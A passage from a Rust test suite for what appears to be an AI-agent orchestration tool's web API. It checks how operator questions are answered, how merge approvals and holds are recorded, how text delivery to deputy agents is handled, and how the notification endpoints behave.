10371 let mut state = obsolete_approval_state();
10372 state.status = RunStatus::Landing;
10373 state.driver_exited = true;
10374 let mut q = Question::new(
10375 state.id.clone(),
10376 crate::land::APPROVAL_NODE.into(),
10377 "land".into(),
10378 "Obsolete approval".into(),
10379 String::new(),
10380 vec!["merge".into(), "hold".into()],
10381 );
10382 state.land_approval = Some(crate::run::LandApproval {
10383 question: q.id.clone(),
10384 head: "head".into(),
10385 });
10386 state.save_under(fx.home.path()).unwrap();
10387 fx.questions().put(&mut q).unwrap();
10388 let mut task = Task::new(
10389 "Owner".into(),
10390 "Original instruction".into(),
10391 state.repo.clone(),
10392 Source::Human,
10393 );
10394 task.runs.push(state.id.clone());
10395 task.status = TaskStatus::Parked;
10396 fx.queue().put(&mut task).unwrap();
10397 state.merge_decision = Some(crate::merge_decision::Decision {
10400 question: q.id.clone(),
10401 target: crate::merge_decision::Target {
10402 pr: state.pr.as_ref().unwrap().url.clone(),
10403 head: "head".into(),
10404 language: "ja".into(),
10405 },
10406 choice: crate::merge_decision::DISMISS.into(),
10407 closed: false,
10408 replacement_run: None,
10409 replacement_pr: None,
10410 });
10411 state.status = RunStatus::Superseded;
10412 state.save_under(fx.home.path()).unwrap();
10413 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10414 let path = format!("/api/questions/{}/answer", q.id);
10415 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10416 let done = fx.queue().get(&task.id).unwrap();
10417 assert_eq!(done.status, TaskStatus::Done);
10418 assert_eq!(done.runs, task.runs);
10419 assert_eq!(done.instruction, task.instruction);
10420 assert!(done.action_applied(&q.id));
10421 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10422 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10423 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10424 }
10425
10426 #[tokio::test]
10427 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10428 let fx = Fixture {
10429 home: TempDir::new().unwrap(),
10430 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10431 };
10432 for choice in [
10433 crate::land::HOLD,
10434 crate::merge_decision::WITHDRAW,
10435 "reimplement:beta",
10436 ] {
10437 let mut q = Question::new(
10438 "old-run".into(),
10439 crate::land::APPROVAL_NODE.into(),
10440 "land".into(),
10441 "Decision".into(),
10442 "Review findings".into(),
10443 vec![
10444 "merge".into(),
10445 "hold".into(),
10446 crate::merge_decision::WITHDRAW.into(),
10447 "reimplement:beta".into(),
10448 ],
10449 );
10450 q.merge_target = Some(crate::merge_decision::Target {
10451 pr: "https://github.com/example/repo/pull/42".into(),
10452 head: "exact-reviewed-head".into(),
10453 language: "ja".into(),
10454 });
10455 fx.questions().put(&mut q).unwrap();
10456 let ui = Arc::new(Ui::new(
10457 fx.queue(),
10458 fx.questions(),
10459 fx.talks(),
10460 fx.runs(),
10461 fx.home.path().into(),
10462 std::path::PathBuf::from("."),
10463 ));
10464 let response = question_answer(
10465 State(ui.clone()),
10466 Path(q.id.clone()),
10467 Ok(Json(NewAnswer {
10468 choice: Some(choice.into()),
10469 text: None,
10470 })),
10471 )
10472 .await
10473 .unwrap();
10474 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10475 let disk = fx.questions().get(&q.id).unwrap();
10476 assert_eq!(disk.merge_target, q.merge_target);
10477 assert_eq!(disk.resolution().as_deref(), Some(choice));
10478 assert!(
10479 question_answer(
10480 State(ui),
10481 Path(q.id.clone()),
10482 Ok(Json(NewAnswer {
10483 choice: Some("merge".into()),
10484 text: None
10485 }))
10486 )
10487 .await
10488 .is_err(),
10489 "an already settled decision cannot turn into merge approval"
10490 );
10491 }
10492 }
10493
10494 #[tokio::test]
10495 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10496 let fx = Fixture {
10497 home: TempDir::new().unwrap(),
10498 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10499 };
10500 let mut state = crate::land::tests::repair_state(true, true);
10501 state.status = RunStatus::Landing;
10502 state.parked = true;
10503 state.driver_exited = true;
10504 let mut task = Task::new(
10505 "Existing PR owner".into(),
10506 state.instruction.clone(),
10507 state.repo.clone(),
10508 Source::Human,
10509 );
10510 task.runs.push(state.id.clone());
10511 task.status = TaskStatus::Parked;
10512 fx.queue().put(&mut task).unwrap();
10513 let mut q = Question::new(
10514 state.id.clone(),
10515 crate::land::APPROVAL_NODE.into(),
10516 "land".into(),
10517 "Contested merge".into(),
10518 "Original evidence".into(),
10519 vec!["merge".into(), "hold".into()],
10520 );
10521 state.land_approval = Some(crate::run::LandApproval {
10522 question: q.id.clone(),
10523 head: "reviewed-head".into(),
10524 });
10525 state.save_under(fx.home.path()).unwrap();
10526 fx.questions().put(&mut q).unwrap();
10527 task.hold_manual(Some("Pause this PR".into()));
10529 fx.queue().put(&mut task).unwrap();
10530 let ui = Arc::new(Ui::new(
10533 fx.queue(),
10534 fx.questions(),
10535 fx.talks(),
10536 fx.runs(),
10537 fx.home.path().to_path_buf(),
10538 state.repo.clone(),
10539 ));
10540 let response = question_answer(
10541 State(ui),
10542 Path(q.id.clone()),
10543 Ok(Json(NewAnswer {
10544 choice: Some(crate::land::REPAIR.into()),
10545 text: None,
10546 })),
10547 )
10548 .await
10549 .unwrap();
10550 assert_eq!(response.0.question.id, q.id);
10551 let upgraded = fx.questions().get(&q.id).unwrap();
10552 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10553 assert!(upgraded.detail.starts_with("Original evidence"));
10554 let claim = fx.queue().claim(&task.id).unwrap();
10555 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10556 assert!(
10557 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10558 "an existing driver keeps its claim"
10559 );
10560 drop(claim);
10561 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10562 let resumed = fx.queue().get(&task.id).unwrap();
10563 assert_eq!(
10564 resumed
10565 .resume_override
10566 .as_ref()
10567 .unwrap()
10568 .pinned_run
10569 .as_deref(),
10570 Some(state.id.as_str())
10571 );
10572 assert!(resumed.status.runnable());
10573 assert_eq!(resumed.instruction, task.instruction);
10574 assert_eq!(resumed.runs, task.runs);
10575 assert!(resumed.action_applied(&q.id));
10576 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10577 assert_eq!(fx.queue().list().len(), 1);
10578 assert_eq!(
10579 fx.queue().get(&task.id).unwrap().resume_override,
10580 resumed.resume_override
10581 );
10582 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10583 assert!(
10584 disk.merge_repairs.is_empty(),
10585 "only the claimed run driver may execute repair"
10586 );
10587 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10588 }
10589
10590 #[tokio::test]
10591 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10592 let fx = Fixture::start().await;
10593 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10594 let path = format!("/api/questions/{id}/answer");
10595
10596 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10597 assert_eq!(res.status, 200, "{}", res.body);
10598 let body = res.json();
10599 assert_eq!(body["status"], "answered");
10600 assert_eq!(body["answer"]["choice"], "Redis");
10601
10602 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10606 assert_eq!(again.status, 409, "{}", again.body);
10607 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10608 }
10609
10610 #[tokio::test]
10611 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10612 let home = tempfile::tempdir().unwrap();
10613 let ui = delta_test_ui(home.path());
10614 let mut q = Question::new(
10615 "task".into(),
10616 crate::land::APPROVAL_NODE.into(),
10617 "land".into(),
10618 "Explain?".into(),
10619 String::new(),
10620 vec!["hold".into()],
10621 );
10622 q.deputy = Some(ask::Deputy::new("context".into()));
10623 ui.questions.put(&mut q).unwrap();
10624 let mut cfg = stub_config();
10625 cfg.daemon.max_deputies = 0;
10626 let mut status = crate::daemon::Status::new();
10627 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10628 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10629 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10630 let error = question_say(
10631 State(ui.clone()),
10632 Path(q.id.clone()),
10633 Ok(Json(NewSay {
10634 body: "Explain the findings".into(),
10635 })),
10636 )
10637 .await
10638 .unwrap_err();
10639 assert_eq!(
10640 error.text_reason,
10641 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10642 );
10643 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10644
10645 let mut text = Question::new(
10646 "task".into(),
10647 "ask".into(),
10648 "operator".into(),
10649 "Which name?".into(),
10650 String::new(),
10651 vec![],
10652 );
10653 ui.questions.put(&mut text).unwrap();
10654 let Json(view) = question_answer(
10655 State(ui.clone()),
10656 Path(text.id.clone()),
10657 Ok(Json(NewAnswer {
10658 choice: None,
10659 text: Some("chosen name".into()),
10660 })),
10661 )
10662 .await
10663 .unwrap();
10664 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10665 assert!(!ui.questions.get(&text.id).unwrap().status.open());
10666 }
10667
10668 #[tokio::test]
10669 async fn question_text_handler_admission_without_transport() {
10670 let home = tempfile::tempdir().unwrap();
10671 let ui = delta_test_ui(home.path());
10672 let mut q = Question::new(
10673 "task".into(),
10674 crate::land::APPROVAL_NODE.into(),
10675 "land".into(),
10676 "May this PR merge?".into(),
10677 String::new(),
10678 vec!["hold".into()],
10679 );
10680 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10681 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10682 ui.questions.put(&mut q).unwrap();
10683 let say = || {
10684 Ok(Json(NewSay {
10685 body: "Explain the findings".into(),
10686 }))
10687 };
10688 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10689 .await
10690 .unwrap_err();
10691 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10692 let response = rejected.into_response();
10693 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10694 .await
10695 .unwrap();
10696 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10697 assert_eq!(body["code"], "question_text_unavailable");
10698 assert_eq!(body["reason"], "deputy_exhausted");
10699 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10700 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10701 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10702 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10703 .await
10704 .unwrap();
10705 assert_eq!(view.text_delivery.state, "live");
10706 assert!(view.question.waiter.is_none());
10707 assert!(view.question.cwd.is_none());
10708 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10709 ui.questions.drop_lease(&q.id);
10710 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10711 .await
10712 .unwrap_err();
10713 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10714 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10715 let _ = question_answer(
10716 State(ui.clone()),
10717 Path(q.id.clone()),
10718 Ok(Json(NewAnswer {
10719 choice: Some("hold".into()),
10720 text: None,
10721 })),
10722 )
10723 .await
10724 .unwrap();
10725 assert_eq!(
10726 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10727 Some("hold")
10728 );
10729 }
10730
10731 #[tokio::test]
10732 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10733 let fx = Fixture::start().await;
10734 let store = fx.questions();
10735 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10736 store
10737 .update(&id, |q| {
10738 q.node = crate::land::APPROVAL_NODE.to_owned();
10739 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10740 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10741 Ok(())
10742 })
10743 .unwrap();
10744 let path = format!("/api/questions/{id}/say");
10745 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10746 assert_eq!(refused.status, 422, "{}", refused.body);
10747 assert!(
10748 refused.json()["error"]
10749 .as_str()
10750 .unwrap()
10751 .contains("deputy_exhausted")
10752 );
10753 assert!(store.get(&id).unwrap().thread.is_empty());
10754
10755 store.beat(&id, ask::WaiterKind::Deputy);
10757 let view = fx.get("/api/questions").await.json();
10758 assert_eq!(view[0]["text_delivery"]["state"], "live");
10759 let accepted = fx
10760 .post(&path, Some(r#"{"body":"explain the findings"}"#))
10761 .await;
10762 assert_eq!(accepted.status, 200, "{}", accepted.body);
10763 let before = std::fs::read(store.path_of(&id)).unwrap();
10764
10765 store.drop_lease(&id);
10768 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10769 assert_eq!(refused.status, 422, "{}", refused.body);
10770 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10771 let held = fx
10772 .post(
10773 &format!("/api/questions/{id}/answer"),
10774 Some(r#"{"choice":"hold"}"#),
10775 )
10776 .await;
10777 assert_eq!(held.status, 200, "{}", held.body);
10778 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10779 }
10780
10781 #[tokio::test]
10782 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10783 let repo = tempfile::tempdir().unwrap();
10784 let mut cfg = stub_config();
10785 cfg.daemon.max_deputies = 0;
10786 std::fs::write(
10787 repo.path().join("magi.toml"),
10788 toml::to_string(&cfg).unwrap(),
10789 )
10790 .unwrap();
10791 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10792 let mut status = crate::daemon::Status::new();
10793 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10794 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10795 let id = ask(&fx, "Explain?", &["hold"]);
10796 fx.questions()
10797 .update(&id, |q| {
10798 q.node = crate::land::APPROVAL_NODE.into();
10799 q.deputy = Some(ask::Deputy::new("context".into()));
10800 q.deputy.as_mut().unwrap().agent = "stub".into();
10801 Ok(())
10802 })
10803 .unwrap();
10804 cfg.daemon.max_deputies = 1;
10805 std::fs::write(
10806 repo.path().join("magi.toml"),
10807 toml::to_string(&cfg).unwrap(),
10808 )
10809 .unwrap();
10810 let view = fx.get("/api/questions").await.json();
10811 assert_eq!(view[0]["deputies_enabled"], true);
10812 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
10813 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
10814 let res = fx
10815 .post(
10816 &format!("/api/questions/{id}/say"),
10817 Some(r#"{"body":"Please explain"}"#),
10818 )
10819 .await;
10820 assert_eq!(res.status, 422, "{}", res.body);
10821 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
10822 }
10823
10824 #[tokio::test]
10825 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
10826 let fx = Fixture::start().await;
10827 let id = ask(&fx, "No seat", &[]);
10828 let store = fx.questions();
10829 let before = std::fs::read(store.path_of(&id)).unwrap();
10830 let res = fx
10831 .post(
10832 &format!("/api/questions/{id}/say"),
10833 Some(r#"{"body":"hello"}"#),
10834 )
10835 .await;
10836 assert_eq!(res.status, 422, "{}", res.body);
10837 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10838 let res = fx
10839 .post(
10840 &format!("/api/questions/{id}/answer"),
10841 Some(r#"{"text":"hello"}"#),
10842 )
10843 .await;
10844 assert_eq!(res.status, 200, "{}", res.body);
10845 assert_eq!(
10846 store.get(&id).unwrap().resolution().as_deref(),
10847 Some("hello")
10848 );
10849 }
10850
10851 #[tokio::test]
10852 async fn saying_something_appends_a_turn_without_answering() {
10853 let fx = Fixture::start().await;
10854 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10855 fx.questions().beat(&id, ask::WaiterKind::Asker);
10856 let path = format!("/api/questions/{id}/say");
10857
10858 let res = fx
10859 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10860 .await;
10861 assert_eq!(res.status, 200, "{}", res.body);
10862 let body = res.json();
10863 assert_eq!(body["status"], "open", "talking back is not a decision");
10864 assert_eq!(body["answer"], Value::Null);
10865 assert_eq!(body["thread"][0]["who"], "operator");
10866 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10867 assert_eq!(body["waiting_on_agent"], true);
10868 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10870 }
10871
10872 #[tokio::test]
10873 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10874 let fx = Fixture::start().await;
10875 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10876
10877 let list = fx.get("/api/questions").await.json();
10878 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10879
10880 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10881 assert_eq!(res.status, 409, "{}", res.body);
10882 let q = fx.questions().get(&id).unwrap();
10883 assert!(q.status.open());
10884 assert!(q.consult.is_none());
10885 }
10886
10887 #[tokio::test]
10888 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10889 let fx = Fixture::start().await;
10890 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10891 let cfg = Config {
10892 agents: vec![crate::config::AgentSpec {
10893 id: "mock".to_owned(),
10894 kind: crate::config::AgentKind::Command,
10895 model: None,
10896 command: vec!["true".to_owned()],
10897 extra_args: Vec::new(),
10898 env: Default::default(),
10899 prompt_delivery: None,
10900 }],
10901 ..Config::default()
10902 };
10903 let talk = crate::talk::begin(
10904 &fx.talks(),
10905 &cfg,
10906 fx.home.path().to_path_buf(),
10907 Some("mock"),
10908 )
10909 .unwrap();
10910 let mut task = Task::new(
10911 "t".to_owned(),
10912 "Do it".to_owned(),
10913 PathBuf::from("/repo/magi"),
10914 Source::Agent {
10915 run: talk.id.clone(),
10916 node: crate::queue::CHAT_NODE.to_owned(),
10917 },
10918 );
10919 task.start("20260902-000000-beef".to_owned());
10920 fx.queue().put(&mut task).unwrap();
10921
10922 let list = fx.get("/api/questions").await.json();
10923 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10924 assert_eq!(
10925 list[0]["choices"],
10926 serde_json::json!(["SQLite", "Redis"]),
10927 "the hand-over is never a choice"
10928 );
10929 fx.questions()
10930 .update(&id, |q| {
10931 q.node = crate::land::APPROVAL_NODE.into();
10932 q.choices = vec!["merge".into(), "hold".into()];
10933 Ok(())
10934 })
10935 .unwrap();
10936 let list = fx.get("/api/questions").await.json();
10937 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10938 assert_eq!(list[0]["can_consult_chat"], true);
10939 fx.questions()
10940 .update(&id, |q| {
10941 q.node = crate::bump::NOTICE_NODE.into();
10942 Ok(())
10943 })
10944 .unwrap();
10945 let list = fx.get("/api/questions").await.json();
10946 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10947 assert_eq!(list[0]["can_consult_chat"], false);
10948 }
10949
10950 #[tokio::test]
10951 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10952 let fx = Fixture::start().await;
10953 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10954 fx.questions()
10955 .update(&id, |q| {
10956 q.node = crate::land::APPROVAL_NODE.into();
10957 q.choices = vec!["merge".into(), "hold".into()];
10958 Ok(())
10959 })
10960 .unwrap();
10961 let cfg = Config {
10962 agents: vec![crate::config::AgentSpec {
10963 id: "mock".to_owned(),
10964 kind: crate::config::AgentKind::Command,
10965 model: None,
10966 command: vec!["true".to_owned()],
10967 extra_args: Vec::new(),
10968 env: Default::default(),
10969 prompt_delivery: None,
10970 }],
10971 ..Config::default()
10972 };
10973 let repo = fx.home.path().join("chat-repo");
10975 std::fs::create_dir_all(&repo).unwrap();
10976 let toml = repo.join("magi.toml");
10977 std::fs::write(&toml, "this is = = not toml").unwrap();
10978 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10979 let mut task = Task::new(
10980 "t".to_owned(),
10981 "Do it".to_owned(),
10982 PathBuf::from("/repo/magi"),
10983 Source::Agent {
10984 run: talk.id.clone(),
10985 node: crate::queue::CHAT_NODE.to_owned(),
10986 },
10987 );
10988 task.start("20260902-000000-beef".to_owned());
10989 fx.queue().put(&mut task).unwrap();
10990
10991 let path = format!("/api/questions/{id}/consult");
10992 let res = fx.post(&path, None).await;
10993 assert!(res.status >= 400, "{}", res.body);
10994 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10995 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10996
10997 std::fs::write(&toml, "").unwrap();
10998 let res = fx.post(&path, None).await;
10999 assert_eq!(res.status, 202, "{}", res.body);
11000 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11001 let q = fx.questions().get(&id).unwrap();
11002 assert!(q.status.open());
11003 assert!(q.answer.is_none());
11004 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11005 assert_eq!(res.json()["can_consult_chat"], true);
11006 let list = fx.get("/api/questions").await.json();
11007 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11008 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11009
11010 let res = fx
11011 .post(
11012 &format!("/api/questions/{id}/answer"),
11013 Some(r#"{"choice":"hold"}"#),
11014 )
11015 .await;
11016 assert_eq!(res.status, 200, "{}", res.body);
11017 assert_eq!(res.json()["answer"]["choice"], "hold");
11018 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11019 assert_eq!(res.json()["can_consult_chat"], false);
11020 assert_eq!(fx.post(&path, None).await.status, 409);
11021
11022 let mut talk = fx.talks().get(&talk.id).unwrap();
11023 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11024 let list = fx.get("/api/questions").await.json();
11025 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11026 assert_eq!(list[0]["origin_chat_closed"], true);
11027 assert_eq!(list[0]["can_consult_chat"], false);
11028
11029 fx.talks().remove(&talk.id).unwrap();
11030 let list = fx.get("/api/questions").await.json();
11031 assert_eq!(list[0]["origin_chat"], Value::Null);
11032 assert_eq!(list[0]["origin_chat_closed"], false);
11033 assert_eq!(list[0]["can_consult_chat"], false);
11034 }
11035
11036 #[tokio::test]
11037 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11038 let fx = Fixture::start().await;
11039 let store = fx.questions();
11040 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11041 store.beat(&id, ask::WaiterKind::Asker);
11042 assert_eq!(
11043 fx.get("/api/health").await.json()["questions_needs_owner"],
11044 1
11045 );
11046
11047 let res = fx
11053 .post(
11054 &format!("/api/questions/{id}/say"),
11055 Some(r#"{"body":"why not Postgres?"}"#),
11056 )
11057 .await;
11058 assert_eq!(res.status, 200, "{}", res.body);
11059 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11060 assert_eq!(
11061 fx.get("/api/health").await.json()["questions_needs_owner"],
11062 0,
11063 "waiting on the agent is not waiting on the owner"
11064 );
11065
11066 let mut q = store.get(&id).expect("get");
11070 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11071 .expect("reply");
11072 store.put(&mut q).expect("put");
11073 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11074 assert_eq!(
11075 fx.get("/api/health").await.json()["questions_needs_owner"],
11076 1,
11077 "the agent's reply is what should light the banner back up"
11078 );
11079 }
11080
11081 #[tokio::test]
11082 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11083 let fx = Fixture::start().await;
11084 let store = fx.questions();
11085
11086 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11087 let res = fx
11088 .post(
11089 &format!("/api/questions/{empty_id}/say"),
11090 Some(r#"{"body":" "}"#),
11091 )
11092 .await;
11093 assert_eq!(res.status, 400, "{}", res.body);
11094
11095 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11096 let mut answered = store.get(&answered_id).expect("get");
11097 answered
11098 .answer(Answer::Choice("SQLite".to_owned()))
11099 .expect("answer");
11100 store.put(&mut answered).expect("put");
11101 let res = fx
11102 .post(
11103 &format!("/api/questions/{answered_id}/say"),
11104 Some(r#"{"body":"still there?"}"#),
11105 )
11106 .await;
11107 assert_eq!(res.status, 409, "{}", res.body);
11108
11109 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11110 let mut abandoned = store.get(&abandoned_id).expect("get");
11111 abandoned.abandon("timed out");
11112 store.put(&mut abandoned).expect("put");
11113 let res = fx
11114 .post(
11115 &format!("/api/questions/{abandoned_id}/say"),
11116 Some(r#"{"body":"still there?"}"#),
11117 )
11118 .await;
11119 assert_eq!(res.status, 409, "{}", res.body);
11120 }
11121
11122 #[tokio::test]
11123 async fn an_answer_the_question_does_not_offer_is_refused() {
11124 let fx = Fixture::start().await;
11125 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11126 let path = format!("/api/questions/{id}/answer");
11127
11128 for body in [
11129 r#"{"choice":"Postgres"}"#,
11130 r#"{"text":"whatever you think"}"#,
11131 r#"{"choice":"Redis","text":"both"}"#,
11132 r#"{}"#,
11133 ] {
11134 let res = fx.post(&path, Some(body)).await;
11135 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11136 assert!(res.json()["error"].is_string(), "{}", res.body);
11137 }
11138 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11140 }
11141
11142 #[tokio::test]
11143 async fn a_free_text_question_takes_text_and_not_a_choice() {
11144 let fx = Fixture::start().await;
11145 let id = ask(&fx, "What should the flag be called?", &[]);
11146 fx.questions().beat(&id, ask::WaiterKind::Asker);
11147 let path = format!("/api/questions/{id}/answer");
11148
11149 assert_eq!(
11150 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11151 400
11152 );
11153 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11154 assert_eq!(res.status, 200, "{}", res.body);
11155 assert_eq!(res.json()["answer"]["text"], "--json");
11156 }
11157
11158 #[tokio::test]
11159 async fn an_unknown_question_is_a_json_404() {
11160 let fx = Fixture::start().await;
11161 let res = fx
11162 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11163 .await;
11164 assert_eq!(res.status, 404, "{}", res.body);
11165 assert!(res.json()["error"].is_string());
11166 }
11167
11168 #[tokio::test]
11169 async fn notifications_list_read_dismiss_and_health_agree() {
11170 let fx = Fixture::start().await;
11171 let store = Notices::at(fx.home.path().join("notifications"));
11172 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11173 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11174
11175 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11176 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11177
11178 store
11179 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11180 .unwrap();
11181 let health = fx.get("/api/health").await.json();
11182 assert_eq!(health["notifications_unread"], 2);
11183 assert_ne!(
11184 health["notifications_rev"], rev0,
11185 "the badge must move live"
11186 );
11187
11188 let listed = fx.get("/api/notifications").await.json();
11189 assert_eq!(listed["unread"], 2);
11190 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11191 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11192
11193 let read = fx
11194 .post(&format!("/api/notifications/{}/read", a.id), None)
11195 .await;
11196 assert_eq!(read.status, 200, "{}", read.body);
11197 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11198
11199 let gone = fx
11200 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11201 .await;
11202 assert_eq!(gone.status, 200, "{}", gone.body);
11203 let listed = fx.get("/api/notifications").await.json();
11204 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11205 assert_eq!(listed["unread"], 0);
11206
11207 store.raise(Notice::info("x", "again")).unwrap();
11208 let all = fx.post("/api/notifications/read-all", None).await;
11209 assert_eq!(all.status, 200, "{}", all.body);
11210 assert_eq!(all.json()["marked"], 1);
11211 assert_eq!(
11212 fx.get("/api/health").await.json()["notifications_unread"],
11213 0
11214 );
11215
11216 let missing = fx.post("/api/notifications/nope/read", None).await;
11217 assert_eq!(missing.status, 404, "{}", missing.body);
11218 assert!(missing.json()["error"].is_string());
11219 }
11220
11221 #[tokio::test]
11228 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11229 let f = Fixture::start().await;
11230
11231 let res = f
11232 .post(
11233 "/api/queue",
11234 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11235 )
11236 .await;
11237
11238 assert_eq!(
11239 res.status, 405,
11240 "POST /api/queue must not be a route: {}",
11241 res.body
11242 );
11243 assert!(
11244 f.queue().list().is_empty(),
11245 "a task filed by a route that does not exist must not reach the disk"
11246 );
11247 assert_eq!(f.get("/api/queue").await.status, 200);
11250 }
11251
11252 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11254 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11255 .expect("checkout dir");
11256 }
11257
11258 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11260
11261 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11262 let tmp = TempDir::new().expect("tempdir");
11263 let repo = tmp.path().join("repo");
11264 std::fs::create_dir_all(&repo).expect("repo dir");
